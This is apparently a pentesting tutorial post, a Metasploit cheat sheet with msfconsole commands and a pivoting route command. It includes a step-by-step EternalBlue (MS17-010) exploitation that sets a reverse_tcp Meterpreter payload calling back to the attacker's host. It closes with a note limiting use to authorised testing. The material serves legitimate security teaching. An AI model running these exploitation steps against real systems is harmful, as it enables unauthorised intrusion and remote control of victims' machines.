root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat metasploit.md
// Shells & Pivoting

Metasploit

22 Jul 2026 · 4 min read

Metasploit Framework is the most widely used exploitation platform in pentesting: it centralises thousands of exploits, payloads and auxiliary modules in an interactive console (msfconsole), with a consistent workflow to search, configure and launch any of them.

TypeCLI (interactive console)
PlatformKali / Linux
Metasploit cheat sheet

Basic flow

msfconsole
StepCommand
1. Search for the exploitsearch <service> — e.g. search smb
2. Filter by type/namesearch type:exploit name:tomcat
3. Select the moduleuse <module> — e.g. use exploit/windows/smb/ms17_010_eternalblue
4. View module infoinfo
5. View required optionsshow options
6. Set the targetset RHOSTS <IP>
7. View/pick payloadshow payloads / set payload <path>
8. Set LHOSTset LHOST <your IP>
9. Runexploit (exploits) / run (auxiliary)

msfconsole commands

CommandWhat it does
search <term>Searches modules (exploits, auxiliary, payloads...)
use <module>Selects a module to configure it
infoDetailed info about the loaded module
show optionsLists required/optional variables (RHOST, RPORT, PAYLOAD...)
show advancedAdvanced options for the module
show payloadsPayloads compatible with the loaded module
set <VAR> <value>Sets a variable (LHOST, LPORT, RHOST...)
setg <VAR> <value>Sets the variable globally (persists across modules)
unset <VAR>Removes a configured variable
backUndoes use and returns to the main prompt
checkTests if the target is vulnerable without exploiting (if supported)
exploit / runRuns the module (exploit on exploits, run on auxiliary)
exploit -jRuns in the background as a job
jobsLists running jobs (jobs -v for detail)
kill -j <id>Kills a job by ID
sessions -lLists active sessions (meterpreter, shell)
sessions -i <id>Interacts with a specific session
backgroundSends the current session/module to the background
route add <subnet> <mask> <session>Adds a pivoting route through a session
reload_allReloads modules (after adding/updating externally)
spool <file> / spool offLogs the msfconsole session to a file
help / ?General help
exit / quitExit msfconsole

Step-by-step example — Windows Meterpreter (MS17-010)

search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set LHOST 10.0.0.5
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.